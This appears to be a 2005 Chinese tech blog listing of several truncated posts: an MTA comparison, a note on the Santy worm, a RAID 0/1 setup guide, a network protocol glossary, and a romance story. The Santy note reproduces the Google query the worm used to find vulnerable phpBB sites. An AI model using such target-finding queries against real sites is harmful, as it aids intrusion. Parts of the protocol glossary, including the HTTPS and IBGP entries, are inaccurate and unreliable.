MTA 成熟性 安全性 特色 性能 Sendmail兼容性 模块化设计 qmail medium high high high addons yes Sendmail high low high low x no Postfix low high high high yes yes exim medium low high medium yes no

当然除了这里介绍的几种MTA以外,还有 Smail, Post.Office,the Sun Internet Mail Server (SIMS), MMDF, CommuniGate,PMDF, Netscape Messaging Server,Obtuse smtpd/smtpfwdd,Intermail,MD Switch等其他商业或者免费的MTA可以选择。

利用google干活的Santy蠕虫

0

分类 : 技术文摘 | 发表时间 05-11-2005

利用google干活的Santy蠕虫

Santy应该是“圣诞老人”之意。

这个蠕虫利用11月份公布的”viewtopic.php highlight”漏洞。

蠕虫利用google查询phpbb站点,

http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all& q=allinurl%3A+%22viewtopic.php%22+%22 RANDOM1 %3d RANDOM2 %22&btnG=Search.

‘RANDOM1′ 是’t', ‘p’ or ‘topic’中的一个, RANDOM2是0到30000之间的一个数字
例如:
http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all&q=allinurl %3A+%22viewtopic.php%22+%22topic%3d12345%22&btnGSearch

转换过来就是:
allinurl: “viewtopic.php” “topic=12345″

查找到之后试图利用这个漏洞上传一个perl脚本并执行。最后再发个大奖状:

RAID技术介绍

0

分类 : 技术文摘 | 发表时间 05-11-2005

在计算机发展的初期,“大容量”硬盘的价格还相当高,解决数据存储安全性问题的主要方法是使用磁带机等设备进行备份,这种方法虽然可以保证数据的安全,但查阅和备份工作都相当繁琐。1987年, Patterson、Gibson和Katz这三位工程师在加州大学伯克利分校发表了题为《A Case of Redundant Array of Inexpensive Disks(廉价磁盘冗余阵列方案)》的论文,其基本思想就是将多只容量较小的、相对廉价的硬盘驱动器进行有机组合,使其性能超过一只昂贵的大硬盘。这一设计思想很快被接受,从此RAID技术得到了广泛应用,数据存储进入了更快速、更安全、更廉价的新时代。

  磁盘阵列对于个人电脑用户,还是比较陌生和神秘的。印象中的磁盘阵列似乎还停留在这样的场景中:在宽阔的大厅里,林立的磁盘柜,数名表情阴郁、早早谢顶的工程师徘徊在其中,不断从中抽出一块块沉重的硬盘,再插入一块块似乎更加沉重的硬盘……终于,随着大容量硬盘的价格不断降低,个人电脑的性能不断提升,IDE-RAID作为磁盘性能改善的最廉价解决方案,开始走入一般用户的计算机系统。

  一、RAID技术规范简介

  RAID技术主要包含RAID 0~RAID 7等数个规范,它们的侧重点各不相同,常见的规范有如下几种:

  RAID 0:RAID 0连续以位或字节为单位分割数据,并行读/写于多个磁盘上,因此具有很高的数据传输率,但它没有数据冗余,因此并不能算是真正的RAID结构。RAID 0只是单纯地提高性能,并没有为数据的可靠性提供保证,而且其中的一个磁盘失效将影响到所有数据。因此,RAID 0不能应用于数据安全性要求高的场合。

  RAID 1:它是通过磁盘数据镜像实现数据冗余,在成对的独立磁盘上产生互 为备份的数据。当原始数据繁忙时,可直接从镜像拷贝中读取数据,因此RAID 1可以提高读取性能。RAID 1是磁盘阵列中单位成本最高的,但提供了很高的数据安全性和可用性。当一个磁盘失效时,系统可以自动切换到镜像磁盘上读写,而不需要重组失效的数据。

  RAID 0+1: 也被称为RAID 10标准,实际是将RAID 0和RAID 1标准结合的产物,在连续地以位或字节为单位分割数据并且并行读/写多个磁盘的同时,为每一块磁盘作磁盘镜像进行冗余。它的优点是同时拥有RAID 0的超凡速度和RAID 1的数据高可靠性,但是CPU占用率同样也更高,而且磁盘的利用率比较低。

  RAID 2:将数据条块化地分布于不同的硬盘上,条块单位为位或字节,并使用称为“加重平均纠错码(海明码)”的编码技术来提供错误检查及恢复。这种编码技术需要多个磁盘存放检查及恢复信息,使得RAID 2技术实施更复杂,因此在商业环境中很少使用。

  RAID 3:它同RAID 2非常类似,都是将数据条块化分布于不同的硬盘上,区别在于RAID 3使用简单的奇偶校验,并用单块磁盘存放奇偶校验信息。如果一块磁盘失效,奇偶盘及其他数据盘可以重新产生数据;如果奇偶盘失效则不影响数据使用。RAID 3对于大量的连续数据可提供很好的传输率,但对于随机数据来说,奇偶盘会成为写操作的瓶颈。

  RAID 4:RAID 4同样也将数据条块化并分布于不同的磁盘上,但条块单位为块或记录。RAID 4使用一块磁盘作为奇偶校验盘,每次写操作都需要访问奇偶盘,这时奇偶校验盘会成为写操作的瓶颈,因此RAID 4在商业环境中也很少使用。

  RAID 5:RAID 5不单独指定的奇偶盘,而是在所有磁盘上交叉地存取数据及奇偶校验信息。在RAID 5上,读/写指针可同时对阵列设备进行操作,提供了更高的数据流量。RAID 5更适合于小数据块和随机读写的数据。RAID 3与RAID 5相比,最主要的区别在于RAID 3每进行一次数据传输就需涉及到所有的阵列盘;而对于RAID 5来说,大部分数据传输只对一块磁盘操作,并可进行并行操作。在RAID 5中有“写损失”,即每一次写操作将产生四个实际的读/写操作,其中两次读旧的数据及奇偶信息,两次写新的数据及奇偶信息。

  RAID 6:与RAID 5相比,RAID 6增加了第二个独立的奇偶校验信息块。两个独立的奇偶系统使用不同的算法,数据的可靠性非常高,即使两块磁盘同时失效也不会影响数据的使用。但RAID 6需要分配给奇偶校验信息更大的磁盘空间,相对于RAID 5有更大的“写损失”,因此“写性能”非常差。较差的性能和复杂的实施方式使得RAID 6很少得到实际应用。

  RAID 7:这是一种新的RAID标准,其自身带有智能化实时操作系统和用于存储管理的软件工具,可完全独立于主机运行,不占用主机CPU资源。RAID 7可以看作是一种存储计算机(Storage Computer),它与其他RAID标准有明显区别。除了以上的各种标准(如表1),我们可以如RAID 0+1那样结合多种RAID规范来构筑所需的RAID阵列,例如RAID 5+3(RAID 53)就是一种应用较为广泛的阵列形式。用户一般可以通过灵活配置磁盘阵列来获得更加符合其要求的磁盘存储系统。

  开始时RAID方案主要针对SCSI硬盘系统,系统成本比较昂贵。1993年,HighPoint公司推出了第一款IDE-RAID控制芯片,能够利用相对廉价的IDE硬盘来组建RAID系统,从而大大降低了RAID的“门槛”。从此,个人用户也开始关注这项技术,因为硬盘是现代个人计算机中发展最为“缓慢”和最缺少安全性的设备,而用户存储在其中的数据却常常远超计算机的本身价格。在花费相对较少的情况下,RAID技术可以使个人用户也享受到成倍的磁盘速度提升和更高的数据安全性,现在个人电脑市场上的IDE-RAID控制芯片主要出自HighPoint和Promise公司,此外还有一部分来自AMI公司(如表2)。

  面向个人用户的IDE-RAID芯片一般只提供了RAID 0、RAID 1和RAID 0+1(RAID 10)等RAID规范的支持,虽然它们在技术上无法与商用系统相提并论,但是对普通用户来说其提供的速度提升和安全保证已经足够了。随着硬盘接口传输率的不断提高,IDE-RAID芯片也不断地更新换代,芯片市场上的主流芯片已经全部支持ATA 100标准,而HighPoint公司新推出的HPT 372芯片和Promise最新的PDC20276芯片,甚至已经可以支持ATA 133标准的IDE硬盘。在主板厂商竞争加剧、个人电脑用户要求逐渐提高的今天,在主板上板载RAID芯片的厂商已经不在少数,用户完全可以不用购置RAID卡,直接组建自己的磁盘阵列,感受磁盘狂飙的速度。

  二.通过硬件控制芯片实现IDE RAID的方法

  在RAID家族里,RAID 0和RAID 1在个人电脑上应用最广泛,毕竟愿意使用4块甚至更多的硬盘来构筑RAID 0+1或其他硬盘阵列的个人用户少之又少,因此我们在这里仅就这两种RAID方式进行讲解。我们选择支持IDE-RAID功能的升技KT7A-R AID主板,一步一步向大家介绍IDE-RAID的安装。升技KT7A-RAID集成的是HighPoint 370芯片,支持RAID 0、1、0+1。

  做RAID自然少不了硬盘,RAID 0和RAID 1对磁盘的要求不一样,RAID 1(Mirror)磁盘镜像一般要求两块(或多块)硬盘容量一致,而RAID 0(Striping)磁盘一般没有这个要求,当然,选用容量相似性能相近甚至完全一样的硬盘比较理想。为了方便测试,我们选用两块60GB的希捷酷鱼Ⅳ硬盘(Barracuda ATA Ⅳ、编号ST360021A)。系统选用Duron 750MHz的CPU,2×128MB樵风金条SDR
AM,耕升GeForce2 Pro显卡,应该说是比较普通的配置,我们也希望借此了解构建RAID所需的系统要求。 1.RAID 0的创建

  第一步

  首先要备份好硬盘中的数据。很多用户都没有重视备份这一工作,特别是一些比较粗心的个人用户。创建RAID对数据而言是一项比较危险的操作,稍不留神就有可能毁掉整块硬盘的数据,我们首先介绍的RAID 0更是这种情况,在创建RAID 0时,所有阵列中磁盘上的数据都将被抹去,包括硬盘分区表在内。因此要先准备好一张带Fdisk与Format命令的Windows 98启动盘,这也是这一步要注意的重要事项。

  第二步

  将两块硬盘的跳线设置为Master,分别接上升技KT7A-RAID的IDE3、IDE4口(它们由主板上的HighPoint370芯片控制)。由于RAID 0会重建两块硬盘的分区表,我们就无需考虑硬盘连接的顺序(下文中我们会看到在创建RAID 1时这个顺序很重要)。

  第三步

  对BIOS进行设置,打开ATA RAID CONTROLLER。我们在升技KT7A-RAID主板的BIOS中进入INTEGRATED PERIPHERALS选项并开启ATA100 RAID IDE CONTROLLER。升技建议将开机顺序全部改为ATA 100 RAID,实际我们发现这在系统安装过程中并不可行,难道没有分区的硬盘可以启动吗?因此我们仍然设置软驱作为首选项。

  第四步

  接下来的设置步骤是创建RAID 0的核心内容,我们以图解方式向大家详细介绍:

   1.系统BIOS设置完成以后重启电脑,开机检测时将不会再报告发现硬盘。
   2.磁盘的管理将由HighPoint 370芯片接管。
   3.下面是非常关键的HighPoint 370 BIOS设置,在HighPoint 370磁盘扫描界面同时按下“Ctrl”和“H”。
   4.进入HighPoint 370 BIOS设置界面后第一个要做的工作就是选择“Create RAID”创建RAID。
   5.在“Array Mode(阵列模式)”中进行RAID模式选择,这里能够看到RAID 0、RAID 1、RAID 0+1和Span的选项,在此我们选择了RAID 0项。
   6.RAID模式选择完成会自动退出到上一级菜单进行“Disk Drives(磁盘驱动器)”选择,一般来说直接回车就行了。
   7.下一项设置是条带单位大小,缺省值为64kB,没有特殊要求可以不予理睬。8.接着是“Start Create(开始创建)”的选项,在你按下“Y”之前,请认真想想是否还有重要的数据留在硬盘上,这是你最后的机会!一旦开始创建RAID,硬盘上的所有数据都会被清除。
   9.创建完成以后是指定BOOT启动盘,任选一个吧。

   按“Esc”键退出,当然少不了按下“Y”来确认一下。

   HighPoint 370 BIOS没有提供类似“Exit Without Save”的功能,修改设置后是不可逆转的

  第五步

  再次重启电脑以后,我们就可以在屏幕上看到“Striping(RAID 0)for Array #0”字样了。插入先前制作的启动盘,启动DOS。打开Fdisk程序,咦?怎么就一个硬盘可见?是的,RAID阵列已经整个被看作了一块硬盘,对于操作系统而言,RAID完全透明,我们大可不必费心RAID磁盘的管理,这些都由控制芯片完成。接下来按照普通单硬盘方法进行分区,你会发现“这个”硬盘的容量“变”大了,仔细算算,对,总容量就是两块硬盘相加的容量!我们可以把RAID 0的读写比喻成拉链,它把数据分开在两个硬盘上,读取数据会变得更快,而且不会浪费磁盘空间。在分区和格式化后千万别忘了激活主分区。

  第六步

  选择操作系统让我们颇费周折,HighPoint370芯片提供对Windows98/NT/2000/XP的驱动支持,考虑到使RAID功能面向的是相对高级的用户,所以我们选择了对新硬件支持更好的Windows XP Professional英文版(采用英文版系统主要是为了方便后面的Winbench测试,大家自己使用RAID完全可以用中文版的操作系统),Windows 2000也是一个不错的选择,但是硬件支持方面显然不如Windows XP Professional。

  第七步

  对于采用RAID的电脑,操作系统的安装和普通情况下不一样,让我们看看图示,这是在Windows XP完成第一步“文件复制”重启以后出现的画面,安装程序会以英文提示“按下F6安装SCSI设备或RAID磁盘”,这一过程很短,而且用户往往会忽视屏幕下方的提示。

  按下F6后出现安装选择,选择“S”将安装RAID控制芯片驱动,选择“Enter”则不安装。

  按下“S”键会提示插入RAID芯片驱动盘。

  键入回车,安装程序自动搜索驱动盘上的程序,选择“WinXP”那一个并回车。

  如果所提供的版本和Windows XP Profesional内置的驱动版本不一致,安装程序会给出提示让用户进行选择。

  按下“S”会安装软盘所提供的而按下“Enter”则安装Windows XP Professional

  自带的驱动。按下“S”后又需要确认,这次是按“Enter”(这个……确认太多了,呵呵)。接下来是正常的系统安装,和普通安装没有任何区别。

  RAID 0的安装设置我们就介绍到这里,下面我们会谈谈RAID 1的安装。与RAID 0相比,RAID 1的安装过程要简单许多,在正确操作的情况下不具破坏性。

  2.RAID 1的创建

  虽然在原理上和RAID 0完全不一样,但RAID 1的安装设置过程却与RAID 0相差不多,主要区别在于HighPoint 370 BIOS里的设置。为了避免重复,我们只向大家重点介绍这部分设置:

  进入HighPoint 370 BIOS后选择“Create RAID”进行创建:

   1.在“Array Mode”上点击回车,在RAID模式选择中选择第二项“Mirror(RAID 1)for Data Security(为数据源盘创建镜像)”。
   2.接着是源盘的选择,我们再次提醒用户:务必小心,不要选错。
   3.然后是目标盘的选择,也就是我们所说的镜像盘或备份盘。
   4.然后开始创建。
   5.创建完成以后BIOS会提示进行镜像的制作,这一过程相当漫长。
   6.我们用了大约45分钟才完成60GB的镜像制作,至此RAID 1创建完成。RAID 1会将主盘的数据复制到镜像盘,因此在构建RAID 1时需要特别小心,千万不要把主盘和镜像盘弄混,否则结果将是悲剧性的。RAID 1既可在两块无数据的硬盘上创建,也能够在一块已经安装操作系统的硬盘上添加,比RAID 0方便多了(除了漫长的镜像制作过程)。创建完成以后我们试着将其中一块硬盘拔下,HighPoint370 BIOS给出了警告,按下“Esc”,另一块硬盘承担起了源盘的重任,所有数据完好无损。

  对于在一块已经安装操作系统的硬盘上添加RAID 1,我们建议的步骤是:打开BIOS中的控制芯片→启动操作系统安装HighPoint 370驱动→关机将源盘和镜像盘接在IDE3、4口→进入HighPoint 370 BIOS设置RAID 1(步骤见上文介绍)→重启系统完成创建。

  我们对两种RAID进行了简单的测试,虽然RAID 0的测试成绩让人有些不解,但是实际使用中仍然感觉比单硬盘快了很多,特别是Windows XP Professional的启动异常迅速,进度条一闪而过。至于传输率曲线出现不稳定的情况,我们估计和平台选择有一些关系,毕竟集成芯片在进行这种高数据吞吐量的工作时非常容易被干扰。不过即使是这样,我们也看到RAID 0系统的数据传输率达到了非常高的水平,一度接近60MB/s。与RAID 0相比,RAID 1系统的性能虽然相对单磁盘系统没有什

网络协议规范大全

0

分类 : 技术文摘 | 发表时间 11-10-2005

  在网络的各层中存在着许多协议,它是定义通过网络进行通信的规则,接收方的发送方同层的协议必须一致,否则一方将无法识别另一方发出的信息,以这种规则规定双方完成信息在计算机之间的传送过程。下面就对网络协议规范作个概述。

  ARP(Address Resolution Protocol)地址解析协议

  它是用于映射计算

  机的物理地址和临时指定的网络地址。启动时它选择一个协议(网络层)地址,并检查这个地址是否已经有别的计算机使用,如果没有被使用,此结点被使用这个地址,如果此地址已经被别的计算机使用,正在使用此地址的计算机会通告这一信息,只有再选另一个地址了。

  SNMP(Simple Network Management P)网络管理协议

  它是TCP/IP协议中的一部份,它为本地和远端的网络设备管理提供了一个标准化途径,是分布式环境中的集中化管理的重要组成部份。

  AppleShare protocol(AppleShare协议)

  它是Apple机上的通信协议,它允许计算机从服务器上请求服务或者和服务器交换文件。AppleShare可以在TCP/IP协议或其它网络协议如IPX、AppleTalk上进行工作。使用它时,用户可以访问文件,应用程序,打印机和其它远程服务器上的资源。它可以和配置了AppleShare协议的任何服务器进行通信,Macintosh、Mac OS、Windows NT和Novell Netware都支持AppleShare协议。

  AppleTalk协议

  它是Macintosh计算机使用的主要网络协议。Windows NT服务器有专门为Macintosh服务,也能支持该协议。其允许Macintosh的用户共享存储在 Windows NT文件夹的Mac-格式的文件,也可以使用和Windows NT连接的打印机。Windows NT共享文件夹以传统的Mac文件夹形式出现在Mac用户面前。Mac文件名按需要被转换为FAT(8.3)格式和NTFS文件标准。支持MAc 文件格式的DOS和Windows客户端能与Mac用户共享这些文件。

  BGP4(Border Gateway Protocol Vertion 4)边界网关协议-版本4

  它是用于在自治网络中网关主机(每个主机有自己的路由)之间交换路由信息的协议,它使管理员能够在已知的路由策略上配置路由加权,可以更方便地使用无级内部域名路由(CIDR),它是一种在网络中可以容纳更多地址的机制,它比外部网关协议(EGP)更新。BGP4经常用于网关主机之间,主机中的路由表包括了已知路由的列表,可达的地址和路由加权,这样就可以在路由中选择最好的通路了。BGP在局域网中通信时使用内部BGP(IBGP),因为IBGP不能很好工作。

  BOOTP协议

  它是一个基于TCP/IP协议的协议,它可以让无盘站从一个中心服务器上获得IP地址,现在我们通常使用DHCP协议进行这一工作。

  CMIP(Common Management Information Protocol)通用管理信息协议

  它是建立在开放系统互连通信模式上的网络管理协议。相关的通用管理信息服务(CMIS)定义了访问和控制网络对象,设备和从对象设备接收状态信息的方法。

  Connection-oriented Protocol/Connectionless Protocol面向连接的协议/无连接协议

  在广域网中,两台计算机建立物理连接过程所使用的协议,这种物理连接要持续到成功地交换完数据为止。在Internet中,TCP(传输控制协议)即这一类型的协议,它为两台连接在网络上的计算机提供了可相互通信且确保数据成功传输的一种手段。面向连接的协议一定要保证数据传送到对方。在广域网中,对接收方的计算机不做在线状态,或接收能力的测试,都能使数据由一台计算机传输到另外一台计算机上的协议。这是包交换网络中的主要协议,在Internet中的IP协议即无连接协议,IP只关注将数据分成数据包进行传输,并在这些数据包被接收后重新组包,而不关注接收方计算机的状态。由面向连接的协议(如Internet中的TCP)来确保数据的接收。

  DHCP(Dynamic Host Configuration Protocol)动态主机配置协议

  它是在TCP/IP网络上使客户机获得配置信息的协议,它是基于BOOTP协议,并在BOOTP协议的基础上添加了自动分配可用网络地址等功能。这两个协议可以通过一些机制互操作。DHCP协议在安装TCP/IP协议和使用TCP/IP协议进行通迅时,必须配置IP地址、子网掩码、缺省网关三个参数,这三个参数可以手动配置,也可以使用DHCP自动配置。

  Discard Protocol抛弃协议

  它的作用就是接收到什么抛弃什么,它对调试网络状态的一定的用处。基于TCP的抛弃服务,如果服务器实现了抛弃协议,服务器就会在TCP端口9检测抛弃协议请求,在建立连接后并检测到请求后,就直接把接收到的数据直接抛弃,直到用户中断连接。而基于UDP协议的抛弃服务和基于TCP差不多,检测的端口是UDP端口9,功能也一样。

  Echo Protocol协议

  这个协议主要用于调试和检测中。这个协议的作用也十分简单,接收到什么原封发回就是了。它可以基于TCP协议,服务器就在TCP端口7检测有无消息,如果有发送来的消息直接返回就是了。如果使用UDP协议的基本过程和TCP一样,检测的端口也是7。


  FTP(File Transfer Protocol)文件传输协议

  它是一个标准协议,是在计算机和网络之间交换文件的最简单的方法。象传送可显示文件的HTTP和电子邮件的SMTP一样,FTP也是应用TCP/IP协议的应用协议标准。FTP通常用于将网页从创作者上传到服务器上供人使用,而从服务器上下传文件也是一种非常普遍的使用方式。作为用户,您可以用非常简单的DOS界面来使用FTP,也可以使用由第三方提供的图形界面的FTP来更新(删除,重命名,移动和复制)服务器上的文件。现在有许多服务器支持匿名登录,允许用户使用FTP和ANONYMOUS作为用户名进行登录,通常可使用任何口令或只按回车键。

  HDLC(High-Level Data Link Control)高层数据链路协议

  它是一组用于在网络结点间传送数据的协议。在HDLC中,数据被组成一个个的单元(称为帧)通过网络发送,并由接收方确认收到。HDLC协议也管理数据流和数据发送的间隔时间。HDLC是在数据链路层中最广泛最使用的协议之一。现在作为ISO的标准,HDLC是基于IBM的SDLC协议的,SDLC被广泛用于IBM的大型机环境之中。在HDLC中,属于SDLC的被称为通响应模式(NRM)。在通常响应模式中,基站(通常是大型机)发送数据给本地或远程的二级站。不同类型的HDLC被用于使用X.25协议的网络和帧中继网络,这种协议可以在局域网或广域网中使用,无论此网是公共的还是私人的。

  HTTP1.1(Hypertext Transfer Protocol Vertion 1.1)超文本传输协议-版本1.1

  它是用来在Internet上传送超文本的传送协议。它是运行在TCP/IP协议族之上的HTTP应用协议,它可以使浏览器更加高效,使网络传输减少。任何服务器除了包括HTML文件以外,还有一个HTTP驻留程序,用于响应用用户请求。您的浏览器是HTTP客户,向服务器发送请求,当浏览器中输入了一个开始文件或点击了一个超级链接时,浏览器就向服务器发送了HTTP请求,此请求被送往由IP地址指定的URL。驻留程序接收到请求,在进行必要的操作后回送所要求的文件。

  HTTPS(Secure Hypertext Transfer Protocol)安全超文本传输协议

  它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作,并
返回网络上传送回的结果。HTTPS实际上应用了Netscape的完全套接字层(SSL)作为HTTP应用层的子层。(HTTPS使用端口443,而不是象HTTP那样使用端口80来和TCP/IP进行通信。)SSL使用40 位关键字作为RC4流加密算法,这对于商业信息的加密是合适的。HTTPS和SSL支持使用X.509数字认证,如果需要的话用户可以确认发送者是谁。

  ICMP(Internet Control Message Protocol)Internet控制信息协议

  它是一个在主机和网关之间消息控制和差错报告协议。ICMP使用IP数据报,但消息由TCP/IP软件处理,对于应用程序使用者是不可见的。在被称为Catenet的系统中,IP协议被用作主机到主机的数据报服务。网络连接设备称为网关。这些网关通过网关到网关协议(GGP)相互交换用于控制的信息。通常,赡养或目的主机将和源主机通信,例如,为报告在数据报过程中的错误。为了这个目的才使用了ICMP,它使用IP做于底层支持,好象它是一个高层协议,而实际上它是IP的一部分,必须由其它IP模块实现。ICMP消息在以下几种情况下发送:当数据报不能到达目的地时,当网关的已经失去缓存功能,当网关能够引导主机在更短路由上发送。IP并非设计为设计为绝对可靠,这个协议的目的是为了当网络出现问题的时候返回控制信息,而不是使IP协议变得绝对可靠,并不保证数据报或控制信息能够返回。一些数据报仍将在没有任何报告的情况下丢失。

  IMAP4(Internet Mail Access Protocol Version 4)Internet邮件访问协议-版本4

  它是用于从本地服务器上访问电子邮件的标准协议,它是一个C/S模型协议,用户的电子邮件由服务器负责接收保存。IMAP4改进了POP3的不足,用户可以通过浏览信件头来决定是不是要下载此信,还可以在服务器上创建或更改文件夹或邮箱,删除信件或检索信件的特定部分。在用户访问电子电子邮件时,IMAP4需要持续访问服务器。在POP3中,信件是保存在服务器上的,当用户阅读信件时,所有内容都会被立刻下载到用户的机器上。我们有时可以把IMAP4看成是一个远程文件服务器,把POP3可以看成是一个存储转发服务。

  NNTP(Network News Transfer Protocol)网络新闻传输协议

  NNTP同POP3协议一样,也存在某些局限性。

  IOTP(Internet Open Trading Protocol)Internet开放贸易协议

  Internet开放贸易协议是一系列的标准,它使电子购买交易在客户,销售商和其它相关部分都是一致的,无论使用何种付款系统。IOTP适用于很多的付款系统,如SET,DigiCash,电子支票或借记卡。付款系统中的数据封装在IOTP报文中。IOTP处理的交易可以包括客户、销售商、信用支票、证明、银行等部分。IOTP使用XML语言(Extensible Markup Language)来定义包含在交易中的数据。

  IPv6(Internet Protocol Version 6)Internet协议-版本6

  它是Internet协议的最新版本,已作为IP的一部分并被许多主要的操作系统所支持。IPv6也被称为“Ipng”(下一代IP),它对现行的IP(版本4)进行重大的改进。使用IPv4和IPv6的网络主机和中间结点可以处理IP协议中任何一层的包。用户和服务商可以直接安装IPv6而不用对系统进行什么重大的修改。相对于版本4新版本的最大改进在于将IP地址从32位改为128位,这一改进是为了适应网络快速的发展对IP地址的需求,也从根本上改变了IP地址短缺的问题。简化IPv4首部字段被删除或者成为可选字段,减少了一般情况下包的处理开销以及IPv6首部占用的带宽。改进IP 首部选项编码方式的修改导致更加高效的传输,在选项长度方面更少的限制,以及将来引入新的选项时更强的适应性。加入一个新的能力,使得那些发送者要求特殊处理的属于特别的传输流的包能够贴上标签,比如非缺省质量的服务或者实时服务。为支持认证,数据完整性以及(可选的)数据保密的扩展都在IPv6中说明。本文描述IPv6基本首部以及最初定义的IPv6 扩展首部和选项。还将讨论包的大小问题,数据流标签和传输类别的语法,以及IPv6对上层协议的影响。IPv6 地址的格式和语法在其它文章中单独说明。IPv6版的 ICMP 是所有IPv6应用都需要包含的。


  IPX/SPX(Internetwork Packet Exchange/Sequential PacketExchange)互连网包交换/顺序包交换

  它是由Novell提出的用于客户/服务器相连的网络协议。使用IPX/SPX协议能运行通常需要NetBEUI支持的程序,通过IPX/SPX协议可以跨过路由器访问其他网络。

  MIME(Multi-Purpose Internet Mail Extensions)多功能Internet邮件扩展

  MIME是扩展SMTP协议,是1991年Nathan Borenstein向IETF提出。在传输字符数据的同时,允许用户传送另外的文件类型,如声音,图像和应用程序,并将其压缩在MIME附件中。因此,新的文件类型也被作为新的被支持的IP文件类型。

  NetBEUI(NetBIOS Enhanced UserInterface)网络基本输入输出系统扩展用户接口

  NetBEUI协议是IBM于1985年提出。NetBEUI主要为20到200个工作站的小型局域网设计的,用于NetBEUI、LanMan网、Windows For Workgroups及Windows NT网。NetBEUI是一个紧凑、快速的协议,但由于NetBEUI没有路由能力,即不能从一个局域网经路由器到另一个局域网,已不能适应较大的网络。如果需要路由到其他局域网,则必须安装TCP/IP或IPX/SPX协议。

  OSPF(Open Shortest Path First)开放最短路优先

  OSPF是用于大型自主网络中替代路由信息协议的协议标准。象RIP一样,OSPF也是由IETF设计用作内部网关协议族中的一个标准。在使用OSPF时网络拓朴结构的变化可以立即在路由器上反映出来。不象RIP,OSPF不是全部当前结点保存的路由表,而是通过最短路优先算法计算得到最短路,这样可以降低网络通信量。如果您熟悉最短路优先算法就会知道,它是一种只关心网络拓朴结构的算法,而不关心其它情况,如优先权的问题,对于这一点,OSPF改变了算法使它根据不同的情况给某些通路以优先权。

  POP3(Post Office Protocol Version 3)邮局协议-版本3

  它是一个关于接收电子邮件的客户/服务器协议。电子邮件由服务器接收并保存,在一定时间之后,由客户电子邮件接收程序检查邮箱并下载邮件。POP3它内置于IE和Netscape浏览器中。另一个替代协议是交互邮件访问协议(IMAP)。使用IMAP您可以将服务器上的邮件视为本地客户机上的邮件。在本地机上删除的邮件还可以从服务器上找到。E-mail 可以被保存在服务器上,并且可以从服务器上找回。

  PPP(Point to Point Protocol)点对点协议

  它是用于串行接口的两台计算机的通信协议,是为通过电话线连接计算机和服务器而彼此通信而制定的协议。网络服务提供商可以提供您点对点连接,这样提供商的服务器就可以响应您的请求,将您的请求接收并发送到网络上,然后将网络上的响应送回。PPP是使用IP协议,有时它被认为是TCP/IP协议族的一员。PPP协议可用于不同介质上包括双绞线,光纤和卫星传输的全双工协议,它使用HDLC进行包的装入。PPP协议既可以处理同步通信也可以处理异步通信,可以允许多个用户共享一个线路,又可发进行SLIP协议所没有的差错控制。

  RIP(Routing Infomation Protocol)路由信息协议

  RIP是最早的路由协议之一,而且现在仍然在广泛使用。它从类别上应

合 租 情 缘

0

分类 : 网络日志 | 发表时间 04-10-2005

那年,我大学体育系毕业,想到外面去闯闯,就一个人背着行囊来到了上海。
上海,果然是一个繁华的国际性大都市,经过一番努力,我还算比较顺利地在一家知名的健身俱乐部找了一份工作,是做健美教练。一开始和一个同事挤在公司狭小的宿舍里,不过在试用期结束后,看我工作认真,客户们也好评不断,老板就加了些工资,于是我就开始考虑搬出去的问题了。
周五晚上工作结束,我在公司上网,在上海热线的租房栏目里,漫无目的地找房子。突然,一个异性合租的帖子映入眼帘。我当时觉得很好奇,因为在我长大的那个城市,这还算是闻所未闻的新鲜事,不过,和异性合租,的确很诱人啊,再说我一个大男人,怕什么,还会吃亏吗,于是,就按照上面留的电话拨了过去,接电话的是一个女声,声音很甜美。大家简单聊了几句,她告诉我她的名字叫Jolin,舞蹈学校毕业,现在住在浦东菊园,以前一起合租的女友去了法国,一个人租呢,租金又太高,住惯也不想搬,所以想找人一起合租。听她的语气,感觉她应该是一个时尚活泼的女孩,心里开始揣测她会不会美丽可人,禁不住心里开始有些躁动。
于是,我们约好了第二天晚上在babyface见面。

第二天老板要我临时加班,大约晚上8点半,我带完了最后一队动感单车,就赶紧洗澡穿衣打的赶到了茂名南路,结果到门口一看,酒吧刚刚准备营业,后来才知道,这家酒吧是上海俊男美女的集中营,一般10点才开始营业。由于来的人多,所以生意爆满是家常便饭,有人说它是沪上最残忍的酒吧,因为一天不知道要拒绝多少人。后来进门才发现,Babyface是很lounge的,红蓝黄的色调营造了典型的纽约吧氛围。据说老板先在广州开了第一家face,然后把版图扩大到深圳和上海,有时候酒吧也邀请海外顶尖的DJ到这里打碟。

我到附近马马虎虎填了下肚子,然后打了一个电话给Jolin,忙音,不知道她到了没有,低头看看时间还早,就决定先来体验一下上海夜生活的风情。然后再去酒吧。周围的酒吧都开始营业了,透过敞开的大门,我看到很多衣着光鲜性感的女孩子都在随着音乐轻摇。有的酒吧装修看上去很简陋,但是往往音乐很棒,走到茂名南路复兴路口,就能够听到低音震撼节奏鲜明的舞曲。一直往下走,在将近到底的地方,会看到一排一排的露天座位,聚集着众多老外,那就是鼎鼎大名的Judy’sToo。

 
走着走着,我的手机响了,是Jolin的电话,“你在什么地方,我已经到了!”接着,她连珠炮式的问明了我的衣着发型和身高,我正想问问她的情况,Jolin却哈哈一笑:“我会找你的,你进来就知道了!”,然后挂断了电话。
回到babyface,果然名不虚传,先前冷冷清清的大门口已经挤满了人,各式各样的型男靓女穿梭进出,里面喧嚣的音乐和鼎沸的人声扑面而来,刺激着我的每一个细胞。挤进了babyface狭窄的舞池里。我完全被人群和音乐淹没。说实话,我很喜欢这里的黑人DJ和这里的音乐,非常high。舞池阴暗,性感的人们在忘情地扭动,照亮他们的只有房顶闪烁的光柱和吧台上被照得红彤彤的各式洋酒反射过来的光。两个服务美眉在其中游移着,像两条灵活的金鱼,她们的长头发在黑暗中闪着深蓝色的光,像夜色中娇艳的花,诱惑动人。怎么说呢,这里的女人不一定是最漂亮的,但是是最诱人的。

我知道有一双眼镜在寻找和注视着,所以就毫不犹豫地开始摆动起我的肢体,两个曲子下来,我已经感到周围有不少注视的目光,就来DJ也越放越high。
酒吧里的人越来越多,小小的舞池很快就挤满了人。我跳过一个高潮,就去了吧台,随便点了一瓶软饮料等着Jolin的出现。短短的不过一刻钟的时间,我就被好几个mm的眼光电到,甚至还有两个有意无意地叼着香烟从我身边走过。babyface果然是夜生活动物们的乐园,抬腕看看手表,刚刚快到11点,周围的人们依旧忘我的享受着这一切。
“Leon,舞跳得不赖啊!”背后有人喊我的名字,不用回头,一听声音,我就知道是Jolin出现了。


